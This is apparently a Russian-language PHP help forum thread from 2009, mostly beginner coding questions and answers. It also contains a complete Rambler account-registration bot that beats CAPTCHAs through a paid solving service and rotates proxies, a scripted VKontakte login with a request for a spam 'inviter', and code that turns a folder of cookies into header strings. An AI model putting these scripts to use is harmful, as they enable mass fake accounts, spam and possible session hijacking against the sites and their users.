$header.="Content-Length: ".strlen($vars)."\r\n";
}
else if($addheaders==0)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: \r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
}
else if($addheaders==2)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: \r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$header.="Pragma: no-cache\r\n";
$header.="Cache-Control: no-cache\r\n";
$header.="Content-Length: ".strlen($vars)."\r\n";
$header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
}
else if($addheaders==3)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: gzip,deflate\r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
}
if($ref) $header.="Referer: $ref\r\n";
$header.="Connection: close\r\n";
if($cookies)
$header.="Cookie: $cookies\r\n";
$header.="\r\n";
if($proxy)
{
$addquery="$method http://$host$service_uri HTTP/$HTTP\r\n";
$fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30);
}
else
{
$addquery="$method $service_uri HTTP/$HTTP\r\n";
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
}
stream_set_timeout($fp,30);
if(!$fp)
{
print "Socket error";
exit();
}
fputs($fp,$addquery);
fputs($fp,$header.$vars);
if($sread)
{
while(!feof($fp))
{
$ret.=fgets($fp, 128);
}
}
fclose($fp);
return $ret;
}
?>
Gifts,я именно так и делал.Вот,что получилось:
<?php
set_time_limit(0);
$login='test';
$domain='rambler.ru';
$password='12345';
$at='%40';
$hostname="vkontakte.ru";
$path="/login.php";
$fp = fsockopen($hostname,80);
if(!$fp){
echo"Ошибка подключения";
}
else{
$data = "email=$login$at$domain&pass=$password\r\n\r\n"; // отправляемые даные!
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: vkontakte.ru\r\n";
$headers .= "Connection: close\r\n";
$headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n";
$headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n";
$headers .= "Accept-Language: en-us,en;q=0.5\r\n";
$headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";
$headers .= "Referer: http://vkontakte.ru/index.php\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
fputs($fp,$headers.$data);
while(!feof($fp))
{
$a=fread($fp,1000);
echo $a;
}
}
fclose($fp);
?>
Я хз в чем ошибка,но вконтакт не пускает.Не поможешь новичку?
Ошибку нашел.Все дело в
$data = "email=$login$at$domain&pass=$password\r\n\r\n";
Забыл убрать два <br><br>
Есть код:
$textput = $text; // текст
$font = "verdana.ttf"; // шрифт (либо лежит в папке со скриптом, либо полный путь
$color = imagecolorallocate($img, 74, 74, 199); // цвет текста
imagettftext($img,20,0,10,30,$color,$font,$textput ); // собсна сама картинка
imagejpeg($img,"fotos/$namech"); // выводим картинку
Но такой вид кода не подерживает русский язык!
Как зделать чтобы он подерживался?
wildshaman
14.03.2009, 20:18
Есть код:
$textput = $text; // текст
$font = "verdana.ttf"; // шрифт (либо лежит в папке со скриптом, либо полный путь
$color = imagecolorallocate($img, 74, 74, 199); // цвет текста
imagettftext($img,20,0,10,30,$color,$font,$textput ); // собсна сама картинка
imagejpeg($img,"fotos/$namech"); // выводим картинку
Но такой вид кода не подерживает русский язык!
Как зделать чтобы он подерживался?
твой русский даже мой мозг "не подерживает"...
mailbrush
14.03.2009, 20:27
$text="блаблабла";
$textput = iconv(mb_detect_encoding($text), "UTF-8",$text)); // текст
$font = "verdana.ttf"; // шрифт (либо лежит в папке со скриптом, либо полный путь
$color = imagecolorallocate($img, 74, 74, 199); // цвет текста
imagettftext($img,20,0,10,30,$color,$font,$textput ); // собсна сама картинка
imagejpeg($img,"fotos/$namech"); // выводим картинку
BiG_][aKeR
14.03.2009, 20:37
Кто знает,как можно получать письма через pop3?
Плиз,ненадо тут сейчас отписывать ссылки на классы для етого,в них ничего не понять,лучше подскажите может есть у кого то пример,или какой то понятный простым смертным класс для етого...
mailbrush
14.03.2009, 20:40
http://webi.ru/webi_articles/6_12_f.html
Читай, начинающий кодер! И классов никаких не надо...
ViP-K1LLeR
14.03.2009, 20:44
Попытался написать реггер Рамблера через антикапчу.
Работает как-то нестабильно. Регается ~10-20% от того, сколько капчей распознано.
Подскажите пожалуйста, в чем может быть причина?
<?php
$apikey = '111111111111111111111111';
$dir = 'rambler.ru/';
//randomize function
function gen(){
$a = 'abcdefghijklmnopqrstuvwxyz1234567890';
$b = $a[mt_rand(0, 25)];
for($i=0;$i<8;$i++) $b .= $a[mt_rand(0, strlen($a)-1)];
return $b;
}
//windows-1251 to utf-8
function cp1251_to_utf8($s){
$c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
$t = "";
for($i=0; $i<strlen($s); $i++){
$c=ord($s[$i]);
if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
elseif ($c>239) $t.=$c209.chr($c-112);
elseif ($c==184) $t.=$c209.$c209;
elseif ($c==168) $t.=$c208.$c129;
else $t.=$s[$i];
}
return $t;
}
//anti-captcha.com API
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 1, $is_numeric = 0, $min_len = 0, $max_len = 0) {
if (!file_exists($filename)){
if ($is_verbose) echo "file $filename not found\n";
return false;
}
$postdata = array('method' => 'post', 'key' => $apikey, 'file' => '@'.$filename, 'phrase' => $is_phrase, 'regsense' => $is_regsense, 'numeric' => $is_numeric, 'min_len' => $min_len, 'max_len' => $max_len);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.anti-captcha.com/in.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if (curl_errno($ch)){
if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
return false;
}
curl_close($ch);
if (strpos($result, "ERROR")!==false){
if ($is_verbose) echo "server returned error: $result\n";
return false;
}else{
$ex = explode("|", $result);
$captcha_id = $ex[1];
if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
$waittime = 0;
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
while(true){
$result = file_get_contents('http://anti-captcha.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
if (strpos($result, 'ERROR')!==false){
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
if ($result=="CAPCHA_NOT_READY"){
if ($is_verbose) echo "captcha is not ready yet\n";
$waittime += $rtimeout;
if ($waittime>$mtimeout){
if ($is_verbose) echo "timelimit ($mtimeout) hit\n";
break;
}
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
}
else{
$ex = explode('|', $result);
if (trim($ex[0])=='OK') return trim($ex[1]);
}
}
return false;
}
}
$proxy = file_get_contents('proxy.txt');
for($i=0;$i<count($proxy);$i++){
//randomize (login, firstname, lastname, password, icq nick, question, answer, bithday, gender)
$login = gen();
$firstname = gen();
$lastname = gen();
$password = gen();
$icq_nick = gen();
$questions = array('Девичья фамилия матери','Почтовый индекс Ваших родителей','Модель Вашей первой машины','Ваш любимый писатель','Кличка Вашей собаки/кошки','Профессия Вашего дедушки','Номер Вашего паспорта','Любимый контрольный вопрос');
$question = urlencode(cp1251_to_utf8($questions[mt_rand(0, count($questions)-1)]));
$answer = gen();
$bmonth = mt_rand(1,12); if ($bmonth < 10) $bmonth = '0'.$bmonth;
$bday = mt_rand(1,28);
$byear = mt_rand(1965,1995);
$gender = mt_rand(1,2);
$curl = curl_init();
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_PROXY, 'http://'.$proxy[$i]); //прокси
curl_setopt($curl, CURLOPT_URL, 'http://id.rambler.ru/script/newuser.cgi');
//запрос #1
curl_setopt($curl, CURLOPT_POSTFIELDS, 'back=&step=one&login='.$login.'&firstname='.$firstname.'&lastname='.$lastname);
$s = curl_exec($curl);
//распознавание капчи
preg_match('#/captcha/(.*).jpg#', $s, $number);
$f = fopen($number[1].'.jpg', 'w-');
fputs($f, file_get_contents('http://id.rambler.ru'.$number[0]));
fclose($f);
$hash = recognize($_SERVER['DOCUMENT_ROOT'].$dir.$number[1].'.jpg', $apikey, false, 0, 1, 0, 3, 10);
//запрос #2
curl_setopt($curl, CURLOPT_URL, 'http://id.rambler.ru/script/newuser.cgi');
curl_setopt($curl, CURLOPT_POSTFIELDS, 'back=&step=two&step=one&login='.$login.'&domain=rambler.ru&firstname='.$firstname.'&lastname='.$lastname.'&password='.$password.'&password2='.$password.'&question='.$question.'&answer='.$answer.'&recoverpassword=&icq_mode=getnew&icq_nick='.$icq_nick.'&icq=&icq_passw=&bday='.$bday.'&bmonth='.$bmonth.'&byear='.$byear.'&gender='.$gender.'&number='.$number[1].'&hash='.$hash);
$s = curl_exec($curl);
//пишем в файл
if (substr_count($s, 'Поздравляем! Вы зарегистрированы на Рамблере')>0){
preg_match('#<a href="icq.cgi">(.*)</a></b>#', $s, $i);
$f = fopen('mail.txt', 'w+');
fputs($f, $login.'@rambler.ru:'.$password.':'.$i[1]."\r\n");
fclose($f);
}
//log out
curl_setopt($curl, CURLOPT_URL, 'http://id.rambler.ru/script/auth.cgi?mode=logout');
curl_exec($curl);
}
?>
$text="блаблабла";
$textput = iconv(mb_detect_encoding($text), "UTF-8",$text)); // текст
$font = "verdana.ttf"; // шрифт (либо лежит в папке со скриптом, либо полный путь
$color = imagecolorallocate($img, 74, 74, 199); // цвет текста
imagettftext($img,20,0,10,30,$color,$font,$textput ); // собсна сама картинка
imagejpeg($img,"fotos/$namech"); // выводим картинку
Не работает так:
Пишет:
Fatal error: Call to undefined function mb_detect_encoding() in G:\home\img.ru\www\end.php on line 24
Типа не может определить функцию. Что делать?
такой ф-ии попросту нет..
Pashkela
14.03.2009, 21:00
Просто php не той версии. Пора обновляться
AkyHa_MaTaTa
14.03.2009, 21:10
Просто php не той версии. Пора обновляться
Сомневаюсь что у него версия php ниже 4.0.6, просто нету mbstring расширения.
Сомневаюсь что у него версия php ниже 4.0.6, просто нету mbstring расширения.
php 5-я стоит (данвер). Щас поковыряю.
А на хостах она часто подерживается?
AkyHa_MaTaTa
14.03.2009, 21:37
php 5-я стоит (данвер). Щас поковыряю.
А на хостах она часто подерживается?
к сожелени mbstring расширения довольно не часто установлена у хостеров(по крайне мере в моем случаи они присутсовали редко) в отличии от iconv, но бывает спроси у хострера, вообше где то видел самопальный класс для замены отдельных функций mbstring с некоторыми кодировками, погугли.
mailbrush
14.03.2009, 21:57
$text="блаблабла";
$textput = iconv("windows-1251", "UTF-8",$text)); // текст
$font = "verdana.ttf"; // шрифт (либо лежит в папке со скриптом, либо полный путь
$color = imagecolorallocate($img, 74, 74, 199); // цвет текста
imagettftext($img,20,0,10,30,$color,$font,$textput ); // собсна сама картинка
imagejpeg($img,"fotos/$namech"); // выводим картинку Так пробуй
$text="блаблабла";
$textput = iconv("windows-1251", "UTF-8",$text)); // текст
$font = "verdana.ttf"; // шрифт (либо лежит в папке со скриптом, либо полный путь
$color = imagecolorallocate($img, 74, 74, 199); // цвет текста
imagettftext($img,20,0,10,30,$color,$font,$textput ); // собсна сама картинка
imagejpeg($img,"fotos/$namech"); // выводим картинку Так пробуй
пишет
Warning: imagecolorallocate(): supplied argument is not a valid Image resource in G:\home\img.ru\www\end.php on line 25
Warning: imagettftext() expects parameter 1 to be resource, null given in G:\home\img.ru\www\end.php on line 26
Warning: imagejpeg(): supplied argument is not a valid Image resource in G:\home\img.ru\www\end.php on line 27
mailbrush
15.03.2009, 00:21
geforce, пробелы удали =\
imagettftext($img,20,0,10,30,$color,$font,$textput ); // пробелы видно??
geforce, пробелы удали =\
imagettftext($img,20,0,10,30,$color,$font,$textput ); // пробелы видно??
НЕ ПОМОГЛО!
Мб перед всем этим стоит написать типа
$img = imagecreatetruecolor(200, 200);
Привет) нужен простенький скрипт)
файл 1.txt
"we"trfd"
"ertrgd"
"sdfsdd"
"yer"ssf"
"sfyrsf"
"sdfgg"
нужно чтобы скрипт обработал его и записал содержимое файла 1.txt без крайних кавычек в файл 2.txt
Ну и результат чтобы был такой
we"trfd
ertrgd
sdfsdd
yer"ssf
sfyrsf
sdfgg
заранее спасибо, ++ :)
На сервере есть корневой каталог и каталог lib
Помогите написать скрипт который будет из корневого каталога брать каталог lib, сжимать его и предоставлять пользователю для скачки...
(ну можно не сжимать, просто чтоб можно было скачать каталог со всем его содержимым)
Привет) нужен простенький скрипт)
файл 1.txt
нужно чтобы скрипт обработал его и записал содержимое файла 1.txt без крайних кавычек в файл 2.txt
Ну и результат чтобы был такой
заранее спасибо, ++ :)
$list=file('text.txt');
$count=count($list);
$fp=fopen("2.txt","a+");
for($i=0;$i<$count;$i++){
preg_match('#\"(.*)\"#',$list[$i],$out);
fwrite($fp,"$out[1]\n");}
fclose($fp);
Открывай 2.txt через WordPad, а не блокнот !
Как можно сделать проверку,типа есле значение цыфровое (состоит только из цыфр) тогда выполняеться ето действие,есле нет,то другое,желательно чтобы работал через if
if(is_float($dig) || is_int($dig)) {...}
Mixon
_ttp://ua.php.net/is_int
<?php
function another_is_int($a){
return ((string) $a) === ((string)(int) $a);
}
?>
либо так:
<?php
if($another==intval($another) && $another!="") { ... }
?>
if(is_float($dig) || is_int($dig)) {...}
А теперь почитай статью Электа про роковые ошибки php
$str = "132";
if(preg_match('#^[0-9]+$#', $str))
{
#если из цифр
}
Chaak,во во во,вот это какраз то что мне лучше всего подошло,не зря ты гуру))) Сенк))
Chaak А что же делать с дробными числами, или таких не бывает?
Вопрос как я понял стоял о целых числах..( к примеру что-то типа проверки icq на сайте).
В конце концов можно добавить распознование 1-ой точки.
Chaak А потом мучаться снова и снова, если например экспоненциальное число будет использоваться, и опять таки аппелируя к статье Elekt. Там говорится, что НУЖНО использовать is_numeric, но как замену intval и (int). Имхо, ничем не отличается от использования is_int и is_float
Мне нужно было колицество целыми цыслами,ето проверка,есле там число (кол друзей) тогда всё ок,есле чтото иное,значи регулярка глюкнула,не кто скопировала,думаю мне етот пример идеально подходит,ну попробую я лишь вечером...(
И дробовые числа тут никак немогут появиться,апсолютно, 0.5 друга на сайте быть неможет :D минимум 0 максимум 2500 ;)
Shadow_p1raT
15.03.2009, 16:04
geforce,обработай тескт этой функцией
function win2uni($s)
{
$s = convert_cyr_string($s,'w','i');
for ($result='', $i=0; $i<strlen($s); $i++) {
$charcode = ord($s[$i]);
$result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
}
return $result;
}
mailbrush
15.03.2009, 17:29
Как вывести ключ массива, зная его значение?
Как вывести ключ массива, зная его значение?
http://ru.php.net/manual/ru/function.key.php
попробуй как вариант
foreach ($array as $key => $val){
if ($val=='what you need')
echo $key;
}
astrologer
15.03.2009, 17:40
Как вывести ключ массива, зная его значение?$key = array_search('значение', $array);
// или
$keys = array_keys($array, 'значение');
Pashkela
15.03.2009, 17:41
<?php
$array = array(0 => 'blue', 1 => 'red', 2 => 0x000000, 3 => 'green', 4 => 'red');
$key = array_search('red', $array); // $key = 1;
$key = array_search('green', $array); // $key = 2; (0x000000 == 0 == 'green')
$key = array_search('green', $array, true); // $key = 3;
?>
и вообще вот:
http://www.php.ru/manual/ref.array.html
Что лучше: слушать Евгения Попова или лучше прочитать тонну книг по PHP?
Что лучше: слушать Евгения Попова или лучше прочитать тонну книг по PHP?
Прочитать книгу.Смотрел я этого Попова,он говорит всё вкратце и местами неправильно,после просмотра его видео тебе так и так придётся искать более подробную инфу.
Как вывести ключ массива, зная его значение?
Могу ошибаться но:
// $value - значение, которое вы знаете.
$arr = array(1,2,3,4,5);
foreach($arr as $key) {
if($arr[$key] == $value)
echo $key;
}
Возможны ошибки.
упс... видать темку довно не обновлял , тут без меня ответили.
И так работаю с файлами не понятно вот что....
a+ - открывает файл в режиме чтения и записи при этом указатель сдвигается на последний байт файла (на конец файла). Содержимое файла не удаляется.
То есть если будут строчки то он будет писать в конец файла?
А r+ если будет писать где есть строчки то при записи он будет сдвигать строчки вниз?
Или как?
diznt Все байты будут перезаписываться
$file='test.txt';
$f=fopen($file,'w'); // создаем файл и пишем сто символов
fwrite($f,str_repeat('1',100));
fclose($f);
// Проверяем длину файла:
echo 'Длина файла: '.strlen(file_get_contents($file));
// Открываем тот же файл с флагом r+
$f=fopen($file,'r+');
fwrite($f,'222222222222222222222');
fclose($f);
// Снова проверяем длину
echo "<br>\r\nДлина конечного файла: ".strlen(file_get_contents($file));
Есть код:
<?php
$zzz = fopen("my_file.txt", "r+");
$text = "Наша строка\r\n".rand(1,10);
$test = fwrite($zzz, $text);
if ($test) echo 'Данные в файл успешно занесены (text:'.$text.')';
else echo 'Ошибка при записи в файл.';
fclose($zzz);
?>
так вот как исправить чтобы при записи, цифра rand() не переносилась на след. строчку?
Убрать \r\n из второй строки
кто нить может щас помочь в аське, со скриптом?:(
инвайтер контакте на пхп
кто нить может щас помочь в аське, со скриптом?:(
инвайтер контакте на пхп
было б вобще круто, если б ты аську оставил)
Есть код от которого требуеться все что в maincore.php копировать в файл adv.php
сам код:
<html>
<?php
$file = fopen("../maincore.php", "r");
$full = fopen("../adv.php", "w+");
if ($file)
{
$zzzz = fgets($file, 999);
$zzz = fwrite($full, $zzz);
}
?>
</html>
что тут не так?
<?php
$file = fopen("./maincore.php", "r");
$full = fopen("./adv.php", "w+");
while (!feof($file)) {
$zzzz = fgets($file, 4096);
fwrite($full, $zzzz);
}
fclose($file);
fclose($full);
?>
Shadow_p1raT
16.03.2009, 16:25
замени строку
$zzz = fwrite($full, $zzz);
на
$zzz = fwrite($full, $zzzz);
.:EnoT:.
16.03.2009, 17:07
Есть код от которого требуеться все что в maincore.php копировать в файл adv.php
Можно и легче:
<?php
$file = file_get_contents('../maincore.php');
file_put_contents('../adv.php', $file);
?>
Можно и легче:
<?php
$file = file_get_contents('../maincore.php');
file_put_contents('../adv.php', $file);
?>
имхо легше уже воспользывать copy
copy('../maincore.php', '../adv.php');
не подскажете код поиска и замены текста в txt файле
Pashkela
16.03.2009, 21:23
preg_replace если по маске
str_replace - если массив замен, например:
$mashar = array("***", "мудак", "пизд", "пидар","пидор","ебан","ебал", "ебат", "гандон", "муди", "еби", "ебу", *****, "мудач", "хуя", "хую", "ебли", "ебон", "мудл", "пидр", "хуле", "хули", "ебет", "ебёт", "ебла", "ебыв", "ёбыв", "ёбну", "ебну", "ёбин", "ебин", "ёбан", "зае#ало четать диезы", "Хуй", "Мудак", "Пизд", "Пидар", "Пидор","Ебан","Ебал", "Ебат", "Гандон", "Муди", "Еби", "Ебу", "Бля", "Мудач", "Хуя", "Хую", "Ебли", "Ебон", "Мудл", "Пидр", "Хуле", "Хули", "Ебет", "Ебёт", "Ебла", "Ебыв", "Ёбыв", "Ёбну", "Ебну", "Ёбин", "Ебин", "Ёбан", "Зае#ало четать диезы", "хуе" );
$zashar = array("х#й", "м#дак", "п#зд", "п#дар","п#дор","е#ан","е#ал", "е#ат", "г#ндон", "м#ди", "е#и", "е#у", "б#я", "м#дач", "х#я", "х#ю", "е#ли", "е#он", "м#дл", "п#др", "х#ле", "х#ли", "е#ет", "е#ёт", "е#ла", "е#ыв", "ё#ыв", "ё#ну", "е#ну", "ё#ин", "е#ин","ё#ан", "я - дура", "Х#й", "М#дак", "П#зд", "П#дар","П#дор","Е#ан","Е#ал", "Е#ат", "Г#ндон", "М#ди", "Е#и", "Е#у", "Б#я", "М#дач", "Х#я", "Х#ю", "Е#ли", "Е#он", "М#дл", "П#др", "Х#ле", "Х#ли", "Е#ет", "Е#ёт", "Е#ла", "Е#ыв", "Ё#ыв", "Ё#ну", "Е#ну", "Ё#ин", "Е#ин","Ё#ан", "я - дура", "х#е");
$content = str_replace($mashar, $zashar, $content);
несилен в php , регуляркой вытаскиваю текст из страницы печатать в файл...
if(preg_match_all('|<div class="itm vac_cat_res">(.*)<div class="pusher"></div>|s', $data,$regs))
fputs ( $File, $regs[1][0]);
а) по непонятной (мне) причине вместо массива все сливается в один элемент ( хотелось бы каждое совпадение в отдельный)
б)
Warning: fputs(): supplied argument is not a valid stream resource in ...
пробовал join , складывал строки , выдает тоже самое
.:EnoT:.
16.03.2009, 22:06
Jes, регулярки в соседней теме)
А по сабжу, дай код, который отпарсить надо, напишу регулярку)
несилен в php , регуляркой вытаскиваю текст из страницы печатать в файл...
if(preg_match_all('|<div class="itm vac_cat_res">(.*)<div class="pusher"></div>|s', $data,$regs))
fputs ( $File, $regs[1][0]);
а) по непонятной (мне) причине вместо массива все сливается в один элемент ( хотелось бы каждое совпадение в отдельный)
б)
пробовал join , складывал строки , выдает тоже самое
if(preg_match_all('|<div class="itm vac_cat_res">(.*)<div class="pusher"></div>|s', $data,$regs))
$File = fopen('file.txt', 'at');
fputs ( $File, implode("\r\n", $regs[1]));
fclose($File);
я дурак xD
все заработало ))))
у меня $File внутри др функции открывается и я его как global записать забыл )))
PandoraBox
17.03.2009, 00:58
кто знает как оптиимизировать <?php
/*
Test logo :)
Copyright (c) 2009, Denis aka Pandora.
*/
error_reporting(0);
function micro_time() {
$temp = explode(" ", microtime());
return bcadd($temp[0], $temp[1], 6);
}
$time_start = micro_time();
$now = time();
$min_timeout = time() - (60 * 15);
$images = array('image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg');
$temp_file = "C:\logo_time";
$file_time = @fileatime($temp_file);
$image_loc = @file($temp_file);
if (!file_exists($temp_file) || !isset($file_time))
{
$f = fopen($temp_file, "w+");
fwrite($f, (isset($image_loc[0]) ? $image_loc[0] : $images[0]));
fclose($f);
touch($temp_file);
}
elseif (($file_time >= $min_timeout) && isset($file_time))
{
$image_set = $images[0];
$count_images = count($images)-1;
$i=0;
foreach ($images as $image)
{
if ($image == $image_loc[0] && ($i < $count_images))
{
$image_set = $images[$i+1];
break;
}
$i++;
}
unset($images, $count_images);
$f = fopen($temp_file, "w+");
fwrite($f, (isset($image_set) ? $image_set : $images[0]));
fclose($f);
touch($temp_file, $min_timeout, $min_timeout);
}
unset($temp_file, $image_loc, $file_time, $images, $now, $min_timeout);
$time_stop = micro_time();
$time_overall = bcsub($time_stop, $time_start, 6);
echo "<p>Execution time - $time_overall Seconds</p>";
?>
max_rebel
17.03.2009, 01:11
Пытаюсь вывести дату так:
<?php $d= date('d/m/Y H:i:s');
echo "<br><font class='style1'>".$d."</font> "; ?>
но чтобы увидеть что время поменялось надо обновить страницу =(( Как сделать чтоб видно было что цыфферки бегут на часах?
но чтобы увидеть что время поменялось надо обновить страницу =(( Как сделать чтоб видно было что цыфферки бегут на часах?
Яваскриптом сделай как тут
http://www.elated.com/res/File/articles/development/javascript/creating-a-javascript-clock/clock.html
max_rebel
17.03.2009, 01:29
А на php это можно сделать? или полюбому прдётся подключать JS? я в нём нихера не понимаю =(
есть например file.jpeg
как получить только file ?? имя файла до первой точки...
есть например file.jpeg
как получить только file ?? имя файла до первой точки...
http://ru.php.net/basename
$file = 'file.jpeg ';
list($name,$type) = explode('.',$file);
echo $name;
Интересует конструкция php функции которая выводит все что у меня в таблице (была идея цикл for + вывод из бд но опять же не известно скоко данных в таблице)
еКак это не известно? оО
Достаем данные запросом,далле mysql_fetch_array
Считаем count($query['id');
Далее в for $i < $count;....
Ну и выводим сколкьо влезет.
Как после каждого 21 сивола в переменной $a вставить <br /> ?
Pashkela
17.03.2009, 17:40
for ($i=0;$i<strlen($a);$i++) {
$s++;
$res.=$a{$i};
if ($s==21) {$res.="<br />";$s=0;}
}
echo $res;
ололололо кодеры блять
scrat
Как после каждого 21 сивола в переменной $a вставить <br /> ?
str_split
создал форму...самбит и текст...и базу...
задача такая:в окно вводиться число(4 значения)и если его нет в таблици то оно заносится в неё(таблицу)(и редирект на форму)если оно есть, то выдать сообщение что есть такое...
не знаю как лучше объяснить...вот начал,но не получаеться
вот что есть
тут проблема-MATCH (rr) AGAINST('$text')
<?
$db = mysql_connect("localhost","bloguser","12345");
mysql_select_db ("win" ,$db);
if (isset($_POST['text'])) {$text = $_POST['text']; }
if (isset($_POST['submit'])) {$submit = $_POST['submit']; }
$result = mysql_query(" SELECT rr FROM win WHERE MATCH (rr) AGAINST('$text')",$db);
if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}
if (mysql_num_rows($result) > 0){
$myrow = mysql_fetch_array($result);
echo "111111111111";
}
else
{
echo "<p>Информация по Вашему запросу на блоге не найдена.</p>";
}
echo $myrow['rr'];
?>
помогите плиз...
Pashkela
17.03.2009, 19:36
http://dev.mysql.com/doc/refman/5.0/en/fulltext-query-expansion.html
Pashkela спс...хоть ктото ответил...)в англиском не шарю...есть уже пример этой функции,но у меня не работает...уже чё токо не делал(((даже копипастом все имена переносил...а как вы решили бы такую задачу?
Pashkela
17.03.2009, 19:51
11.8.3. Поиски Полного текста с Полным текстом Расширения Вопроса ищут расширение вопроса поддержек (и в частности его различное “слепое расширение вопроса”). Это вообще полезно, когда фраза поиска слишком коротка, который часто означает, что пользователь полагается на подразумеваемое знание, что поисковая машина полного текста недостает. Например, пользователь, ищущий "базу данных", может действительно подразумевать, что “MySQL”, "Оракул", “DB2”, и “RDBMS”, все - фразы, которые должны соответствовать "базам данных" и должны быть возвращены, также. Это - подразумеваемое знание. Слепое расширение вопроса (также известный как автоматическая обратная связь уместности) позволено, добавляя С РАСШИРЕНИЕМ ВОПРОСА после фразы поиска. Это работает, выполняя поиск дважды, где фраза поиска для второго поиска - оригинальная фраза поиска, связанная с немногими наиболее очень соответствующими документами от первого поиска. Таким образом, если один из этих документов содержит слово "базы данных" и слово "MySQL ", второй поиск находит документы, которые содержат слово, "MySQL "даже если они не содержат слово "база данных". Следующий пример показывает это различие:
mysql> SELECT * FROM articles
-> WHERE MATCH (title,body) AGAINST ('database');
+----+-------------------+------------------------------------------+
| id | title | body |
+----+-------------------+------------------------------------------+
| 5 | MySQL vs. YourSQL | In the following database comparison ... |
| 1 | MySQL Tutorial | DBMS stands for DataBase ... |
+----+-------------------+------------------------------------------+
2 rows in set (0.00 sec)
mysql> SELECT * FROM articles
-> WHERE MATCH (title,body)
-> AGAINST ('database' WITH QUERY EXPANSION);
+----+-------------------+------------------------------------------+
| id | title | body |
+----+-------------------+------------------------------------------+
| 1 | MySQL Tutorial | DBMS stands for DataBase ... |
| 5 | MySQL vs. YourSQL | In the following database comparison ... |
| 3 | Optimizing MySQL | In this tutorial we will show ... |
+----+-------------------+------------------------------------------+
3 rows in set (0.00 sec)
Зачем тебе такие сложности? Объясни, что ты хочешь сделать толком, если просто забить фразу и выцепить по ней какие-то данные из твоей БД, то задачу просто можно конкретизировать
-=Static=-
17.03.2009, 19:52
Видимо как-то так
<?php
$db = mysql_connect("localhost","bloguser","12345");
mysql_select_db ("win" ,$db);
$text = isset($_POST['text']) ? intval($_POST['text']) : 0; // так как известно что это число
$result = mysql_query('SELECT rr FROM win WHERE text='.$text) or (die("Ошибка: ".mysql_error()));
if($row = mysql_fetch_assoc($result)) {
echo $row["rr"];
} else {
echo "<p>Информация по Вашему запросу на блоге не найдена.</p>";
}
Pashkela
17.03.2009, 19:55
причем здесь какой-то мифический "rr"??? А не проще "*"?
intval($_POST['text'])// так как известно что это число
так неизвестно, что это число, http://ru.php.net/is_numeric
-=Static=-
17.03.2009, 20:03
так неизвестно, что это число, http://ru.php.net/is_numeric
В постановке задачи сказанно:
задача такая:в окно вводиться число(4 значения)
Я так понимаю, что это вроде ID документа, или чтото похожее... Посему предполагаю что оно целое
Я просто не особо шарю где и как написать этот скриптик. Знаю что это просто, но не знаю куда тыкаться)
Задача такова:
Есть папочка с куками.Нужно из всех куков автоматически вытащить несколько выражений в определенном порядке в один текстовый файл.
Пример:
Один из файлов куки выглядит так:
1.
aaa
bbbbb
2.
ccc
ddddd
В текстовый файл должно копироваться все так:
aaa=bbbbb; ccc=ddddd;
aaa= ...................
Заранее Благодарен)
mixkorshun
18.03.2009, 00:05
shpak1
chdir("твоя папка\")
$dir = opendir(".");
$w = fopen($file."result", "w");
while($file = readdir($dir)//идем по всему катологу
{
if (( $file != ".") && ($file != ".."))
{
//собственно преобразования
$f = fopen($file, "r");
while(!feof($f))//цикл разветвил для удобства и скорости( оптимизация)) )
{
$s = fgets($file, 65535);//номер
$s = fgets($file, 65535);//1ая строка
fwrite($w, $s);
$s = fgets($file, 65535);//значение
fwrite($w, $s."; ");
}
fclose($f);
